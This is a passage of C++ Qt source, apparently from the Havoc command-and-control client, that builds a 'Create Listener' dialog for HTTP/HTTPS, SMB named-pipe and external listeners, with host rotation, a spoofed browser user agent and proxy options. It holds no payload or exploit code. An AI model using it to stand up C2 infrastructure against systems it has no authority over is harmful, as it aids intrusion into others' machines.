ConfigBox->setObjectName(QString::fromUtf8(\"ConfigBox\"));\n\n    gridLayout_2 = new QGridLayout( ConfigBox );\n    gridLayout_2->setObjectName( QString::fromUtf8( \"gridLayout_2\" ) );\n    gridLayout_2->setHorizontalSpacing( 0 );\n    gridLayout_2->setContentsMargins( 0, 0, 0, 0 );\n\n    StackWidgetConfigPages = new QStackedWidget( ConfigBox );\n    StackWidgetConfigPages->setObjectName( QString::fromUtf8( \"StackWidgetConfigPages\" ) );\n\n    // ============\n    // === HTTP ===\n    // ============\n    PageHTTP = new QWidget();\n    PageHTTP->setObjectName( QString::fromUtf8( \"PageHTTP\" ) );\n\n    LabelHosts              = new QLabel( PageHTTP );\n    HostsGroup              = new QGroupBox( PageHTTP );\n    ButtonHostsGroupAdd     = new QPushButton( PageHTTP );\n    ButtonHostsGroupClear   = new QPushButton( PageHTTP );\n\n    LabelHostRotation       = new QLabel( PageHTTP );\n    ComboHostRotation       = new QComboBox( PageHTTP );\n\n    LabelHostBind           = new QLabel( PageHTTP );\n    ComboHostBind           = new QComboBox( PageHTTP );\n\n    LabelPortBind           = new QLabel( PageHTTP );\n    InputPortBind           = new QLineEdit( PageHTTP );\n\n    LabelPortConn           = new QLabel( PageHTTP );\n    InputPortConn           = new QLineEdit( PageHTTP );\n\n    LabelUserAgent          = new QLabel( PageHTTP );\n    InputUserAgent          = new QLineEdit( PageHTTP );\n\n    LabelHeaders            = new QLabel( PageHTTP );\n    HeadersGroup            = new QGroupBox( PageHTTP );\n    ButtonHeaderGroupAdd    = new QPushButton( PageHTTP );\n    ButtonHeaderGroupClear  = new QPushButton( PageHTTP );\n\n    LabelUris               = new QLabel( PageHTTP );\n    UrisGroup               = new QGroupBox( PageHTTP );\n    ButtonUriGroupClear     = new QPushButton( PageHTTP );\n    ButtonUriGroupAdd       = new QPushButton( PageHTTP );\n\n    LabelHostHeader         = new QLabel( PageHTTP );\n    InputHostHeader         = new QLineEdit( PageHTTP );\n\n    CheckEnableProxy        = new QCheckBox( PageHTTP );\n\n    horizontalSpacer_6      = new QSpacerItem( 0, 0, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    verticalSpacer          = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding );\n    verticalSpacerHeader    = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding );\n    ProxyConfigBox          = new QGroupBox( PageHTTP );\n    verticalSpacerUris      = new QSpacerItem( 20, 40, QSizePolicy::Minimum, QSizePolicy::Expanding );\n\n    formLayout_Hosts        = new QFormLayout( HostsGroup );\n    formLayout_Header       = new QFormLayout( HeadersGroup );\n    formLayout_Uri          = new QFormLayout( UrisGroup );\n    formLayout_3            = new QFormLayout( ProxyConfigBox );\n\n    LabelProxyType = new QLabel( ProxyConfigBox );\n    ComboProxyType = new QComboBox( ProxyConfigBox );\n    LabelProxyHost = new QLabel( ProxyConfigBox );\n    InputProxyHost = new QLineEdit( ProxyConfigBox );\n    LabelProxyPort = new QLabel( ProxyConfigBox );\n    InputProxyPort = new QLineEdit( ProxyConfigBox );\n    LabelUserName  = new QLabel( ProxyConfigBox );\n    InputUserName  = new QLineEdit( ProxyConfigBox );\n    LabelPassword  = new QLabel( ProxyConfigBox );\n    InputPassword  = new QLineEdit( ProxyConfigBox );\n\n    formLayout_3->setWidget( 0, QFormLayout::LabelRole, LabelProxyType );\n    formLayout_3->setWidget( 0, QFormLayout::FieldRole, ComboProxyType );\n    formLayout_3->setWidget( 1, QFormLayout::LabelRole, LabelProxyHost );\n    formLayout_3->setWidget( 1, QFormLayout::FieldRole, InputProxyHost );\n    formLayout_3->setWidget( 2, QFormLayout::LabelRole, LabelProxyPort );\n    formLayout_3->setWidget( 2, QFormLayout::FieldRole, InputProxyPort );\n    formLayout_3->setWidget( 3, QFormLayout::LabelRole, LabelUserName );\n    formLayout_3->setWidget( 3, QFormLayout::FieldRole, InputUserName );\n    formLayout_3->setWidget( 4, QFormLayout::LabelRole, LabelPassword );\n    formLayout_3->setWidget( 4, QFormLayout::FieldRole, InputPassword );\n\n    ComboHostBind->addItems( QStringList() << HavocX::Teamserver.IpAddresses << \"127.0.0.1\" << \"0.0.0.0\" );\n\n    CheckEnableProxy->setObjectName( \"bool\" );\n    ProxyConfigBox->setEnabled( true );\n    InputUserAgent->setText( \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\" ); // default. maybe make it dynamic/random ?\n    InputUserAgent->setCursorPosition( 0 );\n    InputPortBind->setText( \"443\" );\n    InputPortConn->setText( \"443\" );\n\n    // =============\n    // ==== SMB ====\n    // =============\n    PageSMB = new QWidget();\n    PageSMB->setObjectName(QString::fromUtf8(\"PageSMB\"));\n    formLayout = new QFormLayout( PageSMB );\n    formLayout->setObjectName(QString::fromUtf8(\"formLayout\"));\n    LabelPipeName = new QLabel( PageSMB );\n    LabelPipeName->setObjectName(QString::fromUtf8(\"LabelPipeName\"));\n\n    formLayout->setWidget(0, QFormLayout::LabelRole, LabelPipeName);\n\n    InputPipeName = new QLineEdit( PageSMB );\n    InputPipeName->setObjectName( QString::fromUtf8( \"InputPipeName\" ) );\n\n    formLayout->setWidget(0, QFormLayout::FieldRole, InputPipeName);\n\n    // ==============\n    // == External ==\n    // ==============\n    PageExternal = new QWidget();\n    PageExternal->setObjectName(QString::fromUtf8(\"PageExternal\"));\n    formLayout_2 = new QFormLayout(PageExternal);\n    formLayout_2->setObjectName(QString::fromUtf8(\"formLayout_2\"));\n    LabelEndpoint = new QLabel(PageExternal);\n    LabelEndpoint->setObjectName(QString::fromUtf8(\"LabelEndpoint\"));\n\n    formLayout_2->setWidget(0, QFormLayout::LabelRole, LabelEndpoint);\n\n    InputEndpoint = new QLineEdit(PageExternal);\n    InputEndpoint->setObjectName(QString::fromUtf8(\"InputEndpoint\"));\n\n    formLayout_2->setWidget(0, QFormLayout::FieldRole, InputEndpoint);\n\n    gridLayout_2->addWidget( StackWidgetConfigPages, 0, 0, 1, 1 );\n\n\n    gridLayout->addWidget(ConfigBox, 3, 0, 1, 6);\n\n    ComboPayload = new QComboBox( ListenerDialog );\n    ComboPayload->setObjectName( QString::fromUtf8( \"ComboPayload\" ) );\n\n    gridLayout->addWidget(ComboPayload, 1, 1, 1, 5);\n\n    LabelListenerName = new QLabel(ListenerDialog);\n    LabelListenerName->setObjectName(QString::fromUtf8(\"LabelListenerName\"));\n\n    gridLayout->addWidget(LabelListenerName, 0, 0, 1, 1);\n\n    LabelPayload = new QLabel(ListenerDialog);\n    LabelPayload->setObjectName(QString::fromUtf8(\"LabelPayload\"));\n\n    gridLayout->addWidget(LabelPayload, 1, 0, 1, 1);\n\n    horizontalSpacer_5 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer_5, 4, 4, 1, 1);\n\n    ButtonSave = new QPushButton(ListenerDialog);\n    ButtonSave->setObjectName(QString::fromUtf8(\"ButtonSave\"));\n\n    gridLayout->addWidget(ButtonSave, 4, 2, 1, 1);\n\n    horizontalSpacer_4 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer_4, 4, 1, 1, 1);\n\n    horizontalSpacer_3 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer_3, 4, 5, 1, 1);\n\n    InputListenerName = new QLineEdit(ListenerDialog);\n    InputListenerName->setObjectName(QString::fromUtf8(\"InputListenerName\"));\n\n    gridLayout->addWidget(InputListenerName, 0, 1, 1, 5);\n\n    horizontalSpacer_2 = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer_2, 4, 0, 1, 1);\n\n    ButtonClose = new QPushButton(ListenerDialog);\n    ButtonClose->setObjectName(QString::fromUtf8(\"ButtonClose\"));\n\n    gridLayout->addWidget(ButtonClose, 4, 3, 1, 1);\n\n    horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer, 2, 0, 1, 6);\n\n    StackWidgetConfigPages->setCurrentIndex( 0 );\n\n    // Page HTTP/HTTPs\n    gridLayout_3 = new QGridLayout( PageHTTP );\n    gridLayout_3->setObjectName( QString::fromUtf8( \"gridLayout_3\" ) );\n\n    gridLayout_3->addWidget( LabelUserAgent, 8, 0, 1, 1 );\n    gridLayout_3->addWidget( ButtonUriGroupClear, 16, 2, 1, 1 );\n    gridLayout_3->addWidget( ComboHostBind, 5, 1, 1, 2 );\n    gridLayout_3->addWidget( LabelUris, 15, 0, 1, 1 );\n    gridLayout_3->addWidget( LabelHostHeader, 19, 0, 1, 1 );\n    gridLayout_3->addWidget( InputPortBind, 6, 1, 1, 2 );\n    gridLayout_3->addWidget( InputPortConn, 7, 1, 1, 2 );\n    gridLayout_3->addWidget( CheckEnableProxy, 20, 0, 1, 3 );\n    gridLayout_3->addWidget( ButtonHeaderGroupClear, 11, 2, 1, 1 );\n    gridLayout_3->addWidget( InputHostHeader, 19, 1, 1, 2 );\n    gridLayout_3->addWidget( LabelHeaders, 10, 0, 1, 1 );\n    gridLayout_3->addWidget( ButtonHostsGroupAdd, 0, 2, 1, 1 );\n    gridLayout_3->addWidget( LabelHostBind, 5, 0, 1, 1 );\n    gridLayout_3->addWidget( InputUserAgent, 8, 1, 1, 2 );\n    gridLayout_3->addWidget( ButtonUriGroupAdd, 15, 2, 1, 1 );\n    gridLayout_3->addWidget( HeadersGroup, 10, 1, 3, 1 );\n    gridLayout_3->addWidget( LabelHosts, 0, 0, 1, 1 );\n    gridLayout_3->addWidget( ButtonHostsGroupClear, 1, 2, 1, 1 );\n    gridLayout_3->addWidget( ButtonHeaderGroupAdd, 10, 2, 1, 1 );\n    gridLayout_3->addWidget( HostsGroup, 0, 1, 4, 1 );\n    gridLayout_3->addWidget( LabelPortBind, 6, 0, 1, 1 );\n    gridLayout_3->addWidget( LabelPortConn, 7, 0, 1, 1 );\n    gridLayout_3->addWidget( ProxyConfigBox, 21, 0, 1, 3 );\n    gridLayout_3->addWidget( UrisGroup, 15, 1, 3, 1 );\n    gridLayout_3->addWidget( LabelHostRotation, 4, 0, 1, 1 );\n    gridLayout_3->addWidget( ComboHostRotation, 4, 1, 1, 2 );\n    gridLayout_3->addItem( horizontalSpacer_6, 18, 1, 1, 1 );\n    gridLayout_3->addItem( verticalSpacer, 2, 0, 1, 1 );\n    gridLayout_3->addItem( verticalSpacerHeader, 12, 0, 1, 1 );\n    gridLayout_3->addItem( verticalSpacerUris, 17, 0, 1, 1 );\n\n    ProxyConfigBox->setEnabled( false );\n\n    InputProxyHost->setReadOnly( true );\n    InputProxyPort->setReadOnly( true );\n    InputUserName->setReadOnly( true );\n    InputPassword->setReadOnly( true );\n\n    InputProxyHost->setPlaceholderText( \"\" );\n\n    LabelProxyHost->setEnabled( false );\n    LabelProxyPort->setEnabled( false );\n    LabelUserName->setEnabled( false );\n    LabelPassword->setEnabled( false );\n\n    auto style = QString( \"color: #44475a;\" );\n    LabelProxyType->setStyleSheet( style );\n    LabelProxyHost->setStyleSheet( style );\n    LabelProxyPort->setStyleSheet( style );\n    LabelUserName->setStyleSheet( style );\n    LabelPassword->setStyleSheet( style );\n\n    // Add Pages\n    StackWidgetConfigPages->addWidget( PageHTTP );\n    StackWidgetConfigPages->addWidget( PageSMB );\n    StackWidgetConfigPages->addWidget( PageExternal );\n\n    ListenerDialog->setWindowTitle( \"Create Listener\" );\n    LabelPayload->setText(QCoreApplication::translate(\"ListenerWidget\", \"Payload: \", nullptr));\n    ComboPayload->setItemText(0, QCoreApplication::translate(\"ListenerWidget\", \"Https\", nullptr));\n    ComboPayload->setItemText(1, QCoreApplication::translate(\"ListenerWidget\", \"Http\", nullptr));\n    ComboPayload->setItemText(2, QCoreApplication::translate(\"ListenerWidget\", \"Smb\", nullptr));\n    ComboPayload->setItemText(3, QCoreApplication::translate(\"ListenerWidget\", \"External\", nullptr));\n\n    LabelListenerName->setText(QCoreApplication::translate(\"ListenerWidget\", \"Name:\", nullptr));\n    ButtonSave->setText(QCoreApplication::translate(\"ListenerWidget\", \"Save\", nullptr));\n    ButtonClose->setText(QCoreApplication::translate(\"ListenerWidget\", \"Close\", nullptr));\n    ConfigBox->setTitle(QCoreApplication::translate(\"ListenerWidget\", \"Config Options\", nullptr));\n    LabelUserAgent->setText(QCoreApplication::translate(\"ListenerWidget\", \"User Agent:  \", nullptr));\n    ButtonUriGroupClear->setText(QCoreApplication::translate(\"ListenerWidget\", \"Clear\", nullptr));\n    LabelUris->setText(QCoreApplication::translate(\"ListenerWidget\", \"Uris:\", nullptr));\n    LabelHostHeader->setText(QCoreApplication::translate(\"ListenerWidget\", \"Host Header: \", nullptr));\n    CheckEnableProxy->setText(QCoreApplication::translate(\"ListenerWidget\", \"Enable Proxy connection\", nullptr));\n    ButtonHeaderGroupClear->setText(QCoreApplication::translate(\"ListenerWidget\", \"Clear\", nullptr));\n    LabelHeaders->setText(QCoreApplication::translate(\"ListenerWidget\", \"Headers:\", nullptr));\n    ButtonHostsGroupAdd->setText(QCoreApplication::translate(\"ListenerWidget\", \"Add\", nullptr));\n    LabelHostBind->setText(QCoreApplication::translate(\"ListenerWidget\", \"Host (Bind):\", nullptr));\n    ButtonUriGroupAdd->setText(QCoreApplication::translate(\"ListenerWidget\", \"Add\", nullptr));\n    LabelHosts->setText(QCoreApplication::translate(\"ListenerWidget\", \"Hosts\", nullptr));\n    ButtonHostsGroupClear->setText(QCoreApplication::translate(\"ListenerWidget\", \"Clear\", nullptr));\n    ButtonHeaderGroupAdd->setText(QCoreApplication::translate(\"ListenerWidget\", \"Add\", nullptr));\n    LabelPortBind->setText(QCoreApplication::translate(\"ListenerWidget\", \"PortBind:\", nullptr));\n    LabelPortConn->setText(QCoreApplication::translate(\"ListenerWidget\", \"PortConn:\", nullptr));\n    LabelProxyType->setText(QCoreApplication::translate(\"ListenerWidget\", \"Proxy Type:\", nullptr));\n    LabelProxyHost->setText(QCoreApplication::translate(\"ListenerWidget\", \"Proxy Host:\", nullptr));\n    LabelProxyPort->setText(QCoreApplication::translate(\"ListenerWidget\", \"Proxy Port: \", nullptr));\n    LabelUserName->setText(QCoreApplication::translate(\"ListenerWidget\", \"UserName: \", nullptr));\n    LabelPassword->setText(QCoreApplication::translate(\"ListenerWidget\", \"Password: \", nullptr));\n    LabelHostRotation->setText(QCoreApplication::translate(\"ListenerWidget\", \"Host Rotation: \", nullptr));\n    LabelPipeName->setText(QCoreApplication::translate(\"ListenerWidget\", \"Pipe Name: \", nullptr));\n    LabelEndpoint->setText(QCoreApplication::translate(\"ListenerWidget\", \"Endpoint: \", nullptr));\n\n    ComboPayload->addItem( \"Https\" );\n    ComboPayload->addItem( \"Http\" );\n    ComboPayload->addItem( \"Smb\" );\n    ComboPayload->addItem( \"External\" );\n\n    ComboProxyType->addItem( \"http\" );\n    ComboProxyType->addItem( \"https\" );\n\n    ComboHostRotation->addItem( \"round-robin\" );\n    ComboHostRotation->addItem( \"random\" );\n\n    QObject::connect( ButtonSave, &QPushButton::clicked, this, &NewListener::onButton_Save );\n    QObject::connect( ButtonClose, &QPushButton::clicked, this, [&]()\n    {\n        this->DialogClosed = true;\n        this->ListenerDialog->close();\n\n        // Free();\n    } );\n\n    QObject::connect( ButtonHostsGroupAdd, &QPushButton::clicked, this, [&]()\n    {\n        auto Item = new QLineEdit;\n        Item->setFocus();\n\n        if ( HostsData.size() == 0 ) {\n            if ( ! HavocX::Teamserver.IpAddresses.isEmpty() ) {\n                Item->setText( HavocX::Teamserver.IpAddresses[ 0 ] );\n            }\n        }\n\n        formLayout_Hosts->setWidget( HostsData.size(), QFormLayout::FieldRole, Item );\n\n        HostsData.push_back( Item );\n        ListenerDialog->resize( 550, 500 );\n    } );\n\n    QObject::connect( ButtonHostsGroupClear, &QPushButton::clicked, this, [&]()\n    {\n        for ( auto& uri : HostsData )\n            delete uri;\n\n        HostsData.clear();\n\n        ListenerDialog->resize( 550, 500 );\n    } );\n\n    QObject::connect( ButtonUriGroupAdd, &QPushButton::clicked, this, [&]()\n    {\n        auto Item = new QLineEdit;\n        Item->setFocus();\n\n        formLayout_Uri->setWidget( UrisData.size(), QFormLayout::FieldRole, Item );\n\n        UrisData.push_back( Item );\n        ListenerDialog->resize( 550, 500 );\n    } );\n\n    QObject::connect( ButtonUriGroupClear, &QPushButton::clicked, this, [&]()\n    {\n        for ( auto& uri : UrisData )\n            delete uri;\n\n        UrisData.clear();\n\n        ListenerDialog->resize( 550, 500 );\n    } );\n\n    QObject::connect( ButtonHeaderGroupAdd, &QPushButton::clicked, this, [&]()\n    {\n        auto Item = new QLineEdit;\n        Item->setFocus();\n\n        formLayout_Header->setWidget( HeadersData.size(), QFormLayout::FieldRole, Item );\n\n        HeadersData.push_back( Item );\n        ListenerDialog->resize( 550, 500 );\n    } );\n\n    QObject::connect( ButtonHeaderGroupClear, &QPushButton::clicked, this, [&]()\n    {\n        for ( auto& header : HeadersData )\n            delete header;\n\n        HeadersData.clear();\n\n        ListenerDialog->resize( 550, 500 );\n    } );\n\n    QObject::connect( ComboPayload, &QComboBox::currentTextChanged, this, [&]( const QString& text )\n    {\n        if ( text.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 )\n        {\n            StackWidgetConfigPages->setCurrentIndex( 0 );\n            InputPortBind->setText( \"443\" );\n            InputPortConn->setText( \"443\" );\n        }\n        else if ( text.compare( HavocSpace::Listener::PayloadHTTP ) == 0 )\n        {\n            StackWidgetConfigPages->setCurrentIndex( 0 );\n            InputPortBind->setText( \"80\" );\n            InputPortConn->setText( \"80\" );\n        }\n        else if ( text.compare( HavocSpace::Listener::PayloadSMB ) == 0 )\n        {\n            StackWidgetConfigPages->setCurrentIndex( 1 );\n        }\n        else if ( text.compare( HavocSpace::Listener::PayloadExternal ) == 0 )\n        {\n            StackWidgetConfigPages->setCurrentIndex( 2 );\n        }\n        else\n        {\n            for ( const auto& listener : ServiceListeners )\n            {\n                if ( listener.Name == text.toStdString() )\n                {\n                    StackWidgetConfigPages->setCurrentIndex( listener.Index );\n                    return;\n                }\n            }\n\n            spdlog::error( \"Payload not found\" );\n        }\n    } );\n\n    QObject::connect( CheckEnableProxy, &QCheckBox::toggled, this, &NewListener::onProxyEnabled );\n\n    QMetaObject::connectSlotsByName( Dialog );\n}\n\nMapStrStr NewListener::Start( Util::ListenerItem Item, bool Edit )\n{\n    auto ListenerInfo = MapStrStr();\n    auto Payload      = QString();\n\n    if ( Edit )\n    {\n        InputListenerName->setText( Item.Name.c_str() );\n        InputListenerName->setReadOnly( true );\n\n        if ( ( Item.Protocol == Listener::PayloadHTTP.toStdString() ) || ( Item.Protocol == Listener::PayloadHTTPS.toStdString() ) )\n        {\n            if ( Item.Protocol == Listener::PayloadHTTPS.toStdString() )\n                ComboPayload->setCurrentIndex( 0 );\n            else\n                ComboPayload->setCurrentIndex( 1 );\n\n            ComboPayload->setDisabled( true );\n\n            auto Info = any_cast<Listener::HTTP>( Item.Info );\n\n            ComboHostBind->addItem( Info.HostBind );\n            ComboHostBind->setDisabled( true );\n\n            if ( Info.HostRotation.compare( \"round-robin\" ) == 0 )\n                ComboHostRotation->setCurrentIndex( 0 );\n            else if ( Info.HostRotation.compare( \"random\" ) == 0 )\n                ComboHostRotation->setCurrentIndex( 1 );\n            else\n                ComboHostRotation->setCurrentIndex( 0 );\n\n            InputPortBind->setText( Info.PortBind );\n            InputPortBind->setReadOnly( true );\n\n            InputPortConn->setText( Info.PortConn );\n            InputPortConn->setReadOnly( true );\n\n            InputUserAgent->setText( Info.UserAgent );\n            InputUserAgent->setCursorPosition( 0 );\n\n            if ( ! Info.Hosts.empty() )\n            {\n                for ( const auto& host : Info.Hosts )\n                {\n                    if ( host.isEmpty() )\n                        continue;\n\n                    auto input = new QLineEdit;\n                    input->setText( host );\n\n                    formLayout_Hosts->setWidget( HostsData.size(), QFormLayout::FieldRole, input );\n\n                    HostsData.push_back( input );\n                }\n            }\n\n            if ( ! Info.Headers.empty() )\n            {\n                for ( const auto& header : Info.Headers )\n                {\n                    if ( header.isEmpty() )\n                        continue;\n\n                    auto input = new QLineEdit;\n                    input->setText( header );\n\n                    formLayout_Header->setWidget( HeadersData.size(), QFormLayout::FieldRole, input );\n\n                    HeadersData.push_back( input );\n                }\n            }\n\n            if ( ! Info.Uris.empty() )\n            {\n                for ( const auto& uri : Info.Uris )\n                {\n                    if ( uri.isEmpty() )\n                        continue;\n\n                    auto input = new QLineEdit;\n                    input->setText(uri );\n\n                    formLayout_Uri->setWidget(UrisData.size(), QFormLayout::FieldRole, input );\n\n                    UrisData.push_back(input );\n                }\n            }\n\n            InputHostHeader->setText( Info.HostHeader );\n\n            if ( Info.ProxyEnabled.compare( \"true\" ) == 0 )\n                CheckEnableProxy->setCheckState( Qt::CheckState::Checked );\n            else\n                CheckEnableProxy->setCheckState( Qt::CheckState::Unchecked );\n\n            if ( Info.ProxyType.compare( \"http\" ) == 0 )\n                ComboProxyType->setCurrentIndex( 0 );\n            else\n                ComboProxyType->setCurrentIndex( 1 );\n\n            InputProxyHost->setText( Info.ProxyHost );\n            InputProxyPort->setText( Info.ProxyPort );\n            InputUserName->setText( Info.ProxyUsername );\n            InputPassword->setText( Info.ProxyPassword );\n        }\n        else if ( Item.Protocol == Listener::PayloadSMB.toStdString() )\n        {\n            ComboPayload->setCurrentIndex( 2 );\n            auto Info = any_cast<Listener::SMB>( Item.Info );\n\n            InputPipeName->setText( Info.PipeName );\n            InputPipeName->setReadOnly( true );\n        }\n        else if ( Item.Protocol == Listener::PayloadExternal.toStdString() )\n        {\n            ComboPayload->setCurrentIndex( 3 );\n\n            auto Info = any_cast<Listener::External>( Item.Info );\n\n            InputEndpoint->setText( Info.Endpoint );\n            InputEndpoint->setReadOnly( true );\n        }\n        else\n        {\n            // we assume that it's a service listener\n\n            for ( const auto& listener : ServiceListeners )\n            {\n                if ( listener.Name == Item.Protocol )\n                {\n                    auto ListenerConfiguration = json::parse( any_cast<Listener::Service>( Item.Info )[ \"Info\" ] );\n\n                    ComboPayload->setCurrentIndex( listener.Index + 1 );\n\n                    /* TODO: iterate over ServiceListeners and check what has been set\n                     *       and blah blah blah just set everything based on the specified object\n                     *       and check if its editable etc. */\n\n                    for ( const auto& item : listener.Items )\n                    {\n                        auto object   = item[ \"object\" ].get<std::string>();\n                        auto editable = item[ \"editable\" ].get<bool>();\n                        auto value    = QString();\n\n                        value = QString( ListenerConfiguration[ item[ \"name\" ] ].get<std::string>().c_str() );\n\n                        /* if object type is \"input\" */\n                        if ( object == \"input\" )\n                        {\n                            auto Line = ( ( QLineEdit* ) item[ \"Line\" ].get<::uint64_t>() );\n\n                            Line->setText( value );\n\n                            if ( ! editable )\n                                Line->setReadOnly( true );\n                        }\n                    }\n\n                }\n            }\n        }\n\n        ListenerDialog->setWindowTitle( \"Edit Listener\" );\n        ComboPayload->setDisabled( true );\n    }\n\n    ListenerDialog->exec();\n\n    Payload = ComboPayload->currentText();\n\n    ListenerInfo.insert( { \"Name\",     InputListenerName->text().toStdString() } );\n    ListenerInfo.insert( { \"Protocol\", ComboPayload->currentText().toStdString() } );\n    ListenerInfo.insert( { \"Status\",  \"online\" } );\n\n    if ( ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) || ( Payload.compare( HavocSpace::Listener::PayloadHTTP ) == 0 ) )\n    {\n        auto Hosts   = std::string();\n        auto Headers = std::string();\n        auto Uris    = std::string();\n\n        if ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 )\n            ListenerInfo.insert( { \"Secure\", \"true\"  } );\n        else\n            ListenerInfo.insert( { \"Secure\", \"false\" } );\n\n        if ( ! HostsData.empty() )\n        {\n            for ( u32 i = 0; i < HostsData.size(); ++i )\n            {\n                if ( i == ( HostsData.size() - 1 ) )\n                    Hosts += HostsData.at( i )->text().toStdString();\n                else\n                    Hosts += HostsData.at( i )->text().toStdString() + \", \";\n\n                delete HostsData.at( i );\n            }\n        }\n        else\n        {\n            Hosts = ComboHostBind->currentText().toStdString();\n        }\n\n        if ( ! HeadersData.empty() )\n        {\n            for ( u32 i = 0; i < HeadersData.size(); ++i )\n            {\n                if ( i == ( HeadersData.size() - 1 ) )\n                    Headers += HeadersData.at( i )->text().toStdString();\n                else\n                    Headers += HeadersData.at( i )->text().toStdString() + \", \";\n\n                delete HeadersData.at( i );\n            }\n        }\n\n        if ( ! UrisData.empty() )\n        {\n            for ( u32 i = 0; i < UrisData.size(); ++i )\n            {\n                if ( i == ( UrisData.size() - 1 ) )\n                    Uris += UrisData.at( i )->text().toStdString();\n                else\n                    Uris += UrisData.at( i )->text().toStdString() + \", \";\n\n                delete UrisData.at( i );\n            }\n        }\n\n        ListenerInfo.insert( { \"Hosts\", Hosts } );\n        ListenerInfo.insert( { \"HostBind\", ComboHostBind->currentText().toStdString() } );\n        ListenerInfo.insert( { \"HostRotation\", ComboHostRotation->currentText().toStdString() } );\n        ListenerInfo.insert( { \"PortBind\", InputPortBind->text().toStdString() } );\n        ListenerInfo.insert( { \"PortConn\", InputPortConn->text().toStdString() } );\n        ListenerInfo.insert( { \"Headers\", Headers } );\n        ListenerInfo.insert( { \"Uris\", Uris } );\n        ListenerInfo.insert( { \"UserAgent\", InputUserAgent->text().toStdString() } );\n        ListenerInfo.insert( { \"HostHeader\", InputHostHeader->text().toStdString() } );\n\n        ListenerInfo.insert( { \"Proxy Enabled\", CheckEnableProxy->isChecked() ? \"true\" : \"false\" } );\n\n        if ( CheckEnableProxy->isChecked() )\n        {\n            ListenerInfo.insert( { \"Proxy Type\", ComboProxyType->currentText().toStdString() } );\n            ListenerInfo.insert( { \"Proxy Host\", InputProxyHost->text().toStdString() } );\n            ListenerInfo.insert( { \"Proxy Port\", InputProxyPort->text().toStdString() } );\n            ListenerInfo.insert( { \"Proxy Username\", InputUserName->text().toStdString() } );\n            ListenerInfo.insert( { \"Proxy Password\", InputPassword->text().toStdString() } );\n        }\n    }\n    else if ( Payload.compare( HavocSpace::Listener::PayloadSMB ) == 0 )\n    {\n        ListenerInfo.insert( { \"PipeName\", InputPipeName->text().toStdString() } );\n    }\n    else if ( Payload.compare( HavocSpace::Listener::PayloadExternal ) == 0 )\n    {\n        for ( auto& Listener : HavocX::Teamserver.Listeners )\n        {\n            if ( Listener.Protocol == HavocSpace::Listener::PayloadExternal.toStdString() )\n            {\n                if ( any_cast<HavocSpace::Listener::External>( Listener.Info ).Endpoint.compare( InputEndpoint->text() ) == 0 )\n                {\n                    MessageBox( \"Listener Error\", \"Listener External: Endpoint already registered.\", QMessageBox::Icon::Critical );\n                    return MapStrStr{};\n                }\n            }\n        }\n\n        ListenerInfo.insert( { \"Endpoint\", InputEndpoint->text().toStdString() } );\n    }\n    else\n    {\n        for ( const auto& listener : ServiceListeners )\n        {\n            if ( listener.Name == Payload.toStdString() )\n            {\n                auto Listener = MapStrStr{\n                    { \"Name\",       InputListenerName->text().toStdString() },\n                    { \"Protocol\",   listener.Name },\n                    { \"ClientUser\", HavocX::Teamserver.User.toStdString() },\n                };\n\n                for ( const auto& item : listener.Items )\n                {\n                    auto object = QString( item[ \"object\" ].get<std::string>().c_str() );\n\n                    if ( object == \"input\" )\n                    {\n                        auto Name = item[ \"name\" ].get<std::string>();\n                        auto Line = ( QLineEdit* ) item[ \"Line\" ].get<::uint64_t>();\n\n                        Listener.insert( { Name, Line->text().toStdString() } );\n                    }\n                }\n\n                return Listener;\n            }\n        }\n\n        spdlog::error( \"Payload not found\" );\n\n        return {};\n    }\n\n    return ListenerInfo;\n}\n\nauto NewListener::ListenerCustomAdd( QString Json ) -> bool\n{\n    if ( Json.isEmpty() )\n        return false;\n\n    auto Listener = json::parse( Json.toStdString() );\n    auto Page     = ( QWidget* )     nullptr;\n    auto Layout   = ( QFormLayout* ) nullptr;\n    auto Service  = ServiceListener();\n\n    Page    = new QWidget;\n    Layout  = new QFormLayout( Page );\n    Service = {\n        .Name   = Listener[ \"Name\" ],\n        .Page   = Page,\n        .Layout = Layout,\n        .Index  = StackWidgetConfigPages->count()\n    };\n\n    for ( auto Item : Listener[ \"Items\" ] )\n    {\n        if ( Item[ \"object\" ] == \"input\" )\n        {\n            auto Label = new QLabel( Page );\n            auto Line  = new QLineEdit( Page );\n            auto index = Service.Items.size();\n\n            Label->setText( Item[ \"text\" ].get<std::string>().c_str() );\n            Line->setPlaceholderText( Item[ \"placeholder\" ].get<std::string>().c_str() );\n\n            Layout->setWidget( index, QFormLayout::LabelRole, Label );\n            Layout->setWidget( index, QFormLayout::FieldRole, Line  );\n\n            Service.Items.push_back( {\n                { \"name\",     Item[ \"name\" ]     },\n                { \"object\",   Item[ \"object\" ]   },\n                { \"required\", Item[ \"required\" ] },\n                { \"editable\", Item[ \"editable\" ] },\n                { \"Label\",    ( uint64_t ) Label },\n                { \"Line\",     ( uint64_t ) Line  },\n            } );\n        }\n    }\n\n    ServiceListeners.push_back( Service );\n    ComboPayload->addItem( Service.Name.c_str() );\n    StackWidgetConfigPages->addWidget( Page );\n\n    /* check if we already registered this listener */\n    for ( auto& x : HavocX::Teamserver.RegisteredListeners )\n    {\n        if ( x[ \"Name\" ] == Listener[ \"Name\" ] )\n            return false;\n    }\n\n    /* if not then lets add it. */\n    HavocX::Teamserver.RegisteredListeners.push_back( Listener );\n\n    return true;\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::NewListener::onButton_Save()\n{\n    auto Payload = 